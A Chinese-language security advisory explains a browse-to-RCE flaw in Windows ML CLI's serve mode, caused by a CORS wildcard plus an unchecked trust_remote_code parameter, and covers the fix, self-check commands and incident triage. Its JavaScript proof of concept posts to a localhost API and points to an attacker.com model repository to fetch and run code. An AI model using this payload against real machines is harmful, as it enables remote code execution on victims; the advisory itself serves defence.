浏览恶意网页→本地AI工具被接管WinMLCLICORS通配符→trust_remote_code→任意代码执行

admin 2026-09-07 04:16:10 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: WindowsMLCLI存在严重漏洞,攻击者通过恶意网页利用CORS通配符和trustremotecode参数可实现浏览即RCE。建议立即升级至0.4.0版本,停止使用serve模式或配置严格CORS策略,并排查可疑模型仓库与进程。 综合评分: 92 文章分类: 漏洞预警,WEB安全,安全开发,应急响应,实战经验


浏览恶意网页 → 本地 AI 工具被接管WinML CLI CORS 通配符 → trust_remote_code → 任意代码执行

撅人

2026年9月4日 00:00 广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

🔴 导语 · 浏览即中招的本地 RCE

用 Windows ML CLI(winml-cli)做 AI 模型转换的开发者和团队请注意!⚠️

你可能觉得”我这工具只是绑在 localhost 上的,外网访问不到,安全得很”——错了。你的浏览器就是本地进程。

winml-cli 的 serve 模式把所有 CLI 命令通过 HTTP API 暴露在 127.0.0.1 上。开发者的想法很朴素:”只绑本地,只有我自己能访问。” 但它同时设置了 allow_origins = ["*"]——CORS 通配符。这意味着任何你打开的网页,都能通过 JavaScript 向你本地的 winml-cli 服务发请求,还能读取返回结果。

更致命的是,/v1/cli/build 和 /v1/cli/config 接口接受 trust_remote_code 参数,JSON 里的 true 直接变成命令行的 --trust-remote-code 标志,没有任何校验。这个标志一路传递到 Hugging Face transformers 的 AutoConfig.from_pretrained——然后 从攻击者控制的模型仓库里导入 Python 代码,导入即执行,完成 RCE。

完整攻击链只有三步:打开恶意网页 → 网页向 localhost 发跨域请求 → 本地 winml-cli 执行任意 Python 代码。不需要下载、不需要安装、不需要点击确认——浏览即中招。

修复版本 0.4.0 已发布,同时修复了 CORS、trust_remote_code、代理头伪造等多个安全问题。还在跑 0.4.0 以下版本的,今天就升级。


🔍 漏洞速览

| | | | — | — | | 漏洞编号 | CVE-2026-84452 (GHSA-96p9-rh4f-92cf) | | 漏洞类型 | CORS 配置错误 → 跨站请求伪造 → 远程代码执行 | | CVSS 评级 | Low(官方) / 实际影响高 · 浏览即 RCE | | 影响产品 | Windows ML CLI(winml-cli)· Microsoft 开源 AI 模型工具 | | 攻击前提 | 本地运行 winml-cli serve 模式 + 浏览器打开恶意网页 | | 攻击方式 | 恶意网页通过 CORS 通配符调用 localhost HTTP API,设置 trust_remote_code=true | | 受影响版本 | winml-cli < 0.4.0 | | 修复版本 | winml-cli 0.4.0 | | 核心风险 | 浏览恶意网页即可在本地执行任意 Python 代码 | | 发现者 | Zhipeng Wang(timenick)· 微软 |


💥 核心危害:浏览即 RCE 的完整攻击链

这个漏洞的可怕之处在于——攻击门槛极低,影响却极大。 攻击者不需要扫描你的 IP、不需要社工你下载文件,只需要你打开一个网页

🎯 三步攻击链

 受害者本地运行了 winml-cli serve 模式(端口 8000,绑定 127.0.0.1)

 受害者用浏览器打开了攻击者的恶意网页(钓鱼、广告跳转、搜索引擎结果……任何方式都行)

 恶意网页的 JavaScript 向 http://127.0.0.1:8000/v1/cli/build 发送跨域 POST 请求

   → CORS 通配符放行 → 设置 trust_remote_code=true → transformers 导入恶意模型仓库的 Python 代码 → RCE!

为什么能成功?两个安全误区叠加

误区 1:”绑在 localhost 就安全”

很多开发者以为绑定 127.0.0.1 就等于”只有本地用户能访问”。但浏览器就是本地进程——浏览器里运行的 JavaScript 也能访问 localhost。localhost 绑定挡住了外部网络的直接访问,但挡不住”从浏览器发起的本地请求”。

误区 2:”CORS 通配符方便开发”

allow_origins = ["*"] 在开发环境很方便——任何来源都能调接口。但对于 localhost 服务来说,这相当于把”只有本地能访问”的安全边界完全抹掉了——全世界的网站都能调用你本地的服务。

// 恶意网页中的 JavaScript(核心 PoC)

fetch(“http://127.0.0.1:8000/v1/cli/build”, {

  method: “POST”,

  headers: { “Content-Type”: “application/json” },

  body: JSON.stringify({

    args: {

      model: “https://attacker.com/evil-model”,

      trust_remote_code: true,  // ← 关键!直接变成 –trust-remote-code

      output_dir: “/tmp/out”

    }

  })

});

// CORS 通配符允许跨域 → 请求成功

// transformers 从 attacker.com 下载模型 + Python 代码

// 导入 Python 模块 → 模块级代码执行 → RCE!

为什么导入就执行?

Python 的 import 语句会执行模块文件中的所有顶层代码。攻击者在恶意模型仓库的 configuration_pwn.py 顶层写入恶意代码——transformers 的 AutoConfig.from_pretrained 导入这个配置类时,代码就在导入瞬间执行了,甚至不需要后续的模型构建成功。

💬 关于 CVSS 评级 Low 的说明: 官方 GHSA 标注为 Low,主要因为 winml-cli serve 模式不是默认启用的——用户需要主动启动 serve 模式才会暴露漏洞。但对于启用了 serve 模式的用户,实际风险远高于 Low——浏览即 RCE 的攻击门槛极低、影响极大。如果你或你的团队在使用 winml-cli 的 serve 模式,请按 High 级别对待


🧠 漏洞原理(人话版)

理解这个漏洞需要搞清三层:localhost 服务的安全边界、CORS 是什么、trust_remote_code 为什么危险。

第 1 层:localhost 服务的”隐形边界”

当你启动一个只绑定 127.0.0.1 的服务时,你建立了一道边界:外部网络访问不到,只有本机能访问。这道边界是网络层的——它阻止了来自其他机器的 TCP 连接。

但浏览器运行在你本机上,它发出的请求是从本机发起的,天然在这道边界之内。所以 localhost 的服务对浏览器中的网页来说,不是外部服务,而是本地服务——网页可以直接发请求过去。

第 2 层:CORS — 浏览器的跨域限制

CORS(Cross-Origin Resource Sharing)是浏览器的安全机制:默认情况下,网页 A 的 JavaScript 不能读取网页 B 的响应(因为源不同)。但如果网页 B 的服务器返回了 Access-Control-Allow-Origin: *,浏览器就会放行——任何源的网页都能读取响应。

对于 winml-cli 来说,allow_origins = ["*"] 意味着:全世界的网站都能通过用户的浏览器,调用你本地的 winml-cli 服务,还能读取返回结果。 localhost 的”隐形边界”被 CORS 通配符完全抹掉了。

第 3 层:trust_remote_code — 从”加载模型”到”执行代码”的跃迁

Hugging Face transformers 库的 trust_remote_code 参数是一个高风险标志。开启后,AutoConfig.from_pretrained 会从模型仓库下载 Python 代码文件(如配置类、模型类)并导入执行。这个设计是为了支持自定义模型架构,但本质上等于”允许模型仓库在你机器上执行任意代码”

winml-cli 的问题在于:HTTP API 直接接受 trust_remote_code 参数,不做任何校验或警告。攻击者通过跨域请求把这个参数设为 true,就打开了”从模型仓库执行代码”的大门。

✅ 修复方案做了什么?(PR #1321 五次迭代)

这次修复经历了 5 次 commit 迭代,覆盖了多个层面的安全加固:

1️⃣ CORS 改为同源策略——用同源请求保护替代通配符,跨域请求被拒绝

2️⃣ 拒绝 HTTP 启用远程代码——HTTP API 不再接受 trust_remote_code 参数,在模型/配置加载边界强制策略

3️⃣ 集中化命令白名单校验——两种 server 模式统一 CLI 命令允许列表验证

4️⃣ 禁用代理头信任——防止 X-Forwarded-For 等代理头伪造回环地址绕过授权

5️⃣ 回归测试覆盖——23 个安全回归测试 + origin 解析、DNS 重绑定、畸形头、嵌套配置等场景


⏱️ 3 秒自查

❌ 受影响版本(红区)

• winml-cli < 0.4.0

⚠️ 仅在启用 serve 模式时有风险;仅作 CLI 工具使用不受 HTTP 层面影响

✅ 安全版本(绿区)

• winml-cli 0.4.0 及以上

自查命令:

1. 检查 winml-cli 版本

pip show winml-cli

winml –version

版本 < 0.4.0 → 中招!

版本 >= 0.4.0 → 安全

2. 检查是否在运行 serve 模式

Windows:

netstat -ano | findstr :8000

或检查进程:

tasklist | findstr winml

有 winml serve 进程 → 高风险

没有 → 仅 CLI 使用,风险降低

3. 快速验证漏洞(确认 CORS 状态)

curl -s -D- -o /dev/null -X OPTIONS \

http://127.0.0.1:8000/v1/cli/build \

-H “Origin: https://evil.example.com”

返回 access-control-allow-origin: * → 漏洞存在

返回 403 或无 CORS 头 → 已修复


🛡️ 修复方案

✅ 方案一:升级 winml-cli(根治)

升级到最新版

pip install –upgrade winml-cli

或指定版本

pip install winml-cli==0.4.0

验证版本

pip show winml-cli | findstr Version

⚠️ 升级后重启所有 winml serve 进程,确保新版本生效。

⚠️ 方案二:临时缓解——不启动 serve 模式

无法立即升级时:

• 停止所有 winml serve 进程——不运行 serve 模式就没有 HTTP 接口,漏洞无法触发

• 只使用 CLI 命令行模式——直接用 winml build / winml config 命令,不走 HTTP API

• 如果必须使用 serve 模式——在前面加一层反向代理(如 nginx),配置严格的 CORS 策略

• 永远不要在 trust_remote_code 开启的情况下加载不可信的模型仓库

⚠️ 这些只是临时措施——根治必须升级到 0.4.0。

🕵️ 入侵排查清单

CORS + RCE 漏洞不留持久化后门,但需要确认是否被利用:

☐ 检查 winml-cli serve 的访问日志,搜索 /v1/cli/build 和 /v1/cli/config 请求

☐ 检查请求中是否包含 trust_remote_code 参数

☐ 检查是否有可疑的模型仓库 URL(非 Hugging Face 官方或已知可信源)

☐ 检查 Python 进程是否有异常的子进程或网络连接

☐ 检查 transformers 缓存目录(~/.cache/huggingface/)中是否有可疑模型文件

☐ 如确认被利用——全盘扫描、检查持久化机制、轮换凭证

☐ 升级后验证:跨域请求应被拒绝,trust_remote_code 参数应被忽略


⚠️ 安全提醒

这个漏洞是一个教科书级的”localhost + CORS 通配符“安全误区案例。

很多开发者的直觉是:”我这服务只绑在 localhost,外部访问不到,所以很安全。” 这个直觉只对了一半——外部网络确实访问不到,但你的浏览器能访问到。浏览器运行在你本机上,它发出的请求天然在 localhost 的边界之内。而 CORS 通配符相当于告诉浏览器:”任何网站的 JavaScript 都能调用我。”

这两个安全决策单独看似乎都有道理:

• “绑在 localhost” → 保护不受外部网络攻击 ✅

• “CORS 通配符” → 方便前端开发调试 ✅

但放在一起,就产生了1+1 > 2 的安全问题:localhost 的边界被 CORS 通配符从内部攻破,全世界的网站都能通过用户的浏览器调用你本地的服务。

更值得警惕的是,这不是孤立案例。任何提供 HTTP 接口、绑定 localhost 且设置 CORS 通配符的本地工具,都可能存在同类漏洞——从开发服务器、数据库管理工具、到各种 CLI 的 serve 模式。这类漏洞有个专门的名字叫 “Drive-by Localhost Attack”(路过式本地攻击),攻击向量是”受害者浏览了一个恶意网页”,门槛极低。

如果你在开发本地 HTTP 服务,记住这几条原则:

1️⃣ 永远不要对 localhost 服务设置 CORS 通配符——如果需要跨域,用精确的 origin 列表或同源策略

2️⃣ localhost 服务也需要认证——token、CSRF token、或至少一个随机生成的 secret

3️⃣ 不要信任 Origin 头——它可以被非浏览器客户端伪造

4️⃣ 高风险参数(如 trust_remote_code)绝不通过 HTTP 接口直接暴露——至少要确认请求来源可信

转发给你们 AI 开发、DevOps 和安全团队——用 winml-cli 的,今天就升级。所有做本地 HTTP 服务的,自查 CORS 配置。

📎 官方参考

• GitHub Advisory(GHSA-96p9-rh4f-92cf):github.com/microsoft/winml-cli/security/advisories/GHSA-96p9-rh4f-92cf

• 修复 PR #1321(五次迭代完整过程):github.com/microsoft/winml-cli/pull/1321

• 修复 commit f4073e0:github.com/microsoft/winml-cli/commit/f4073e0

本文仅供安全研究与防御参考,修复请以 winml-cli 官方公告为准。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:撅人 《浏览恶意网页 → 本地 AI 工具被接管WinML CLI CORS 通配符 → trustremotecode → 任意代码执行》

评论:0   参与:  0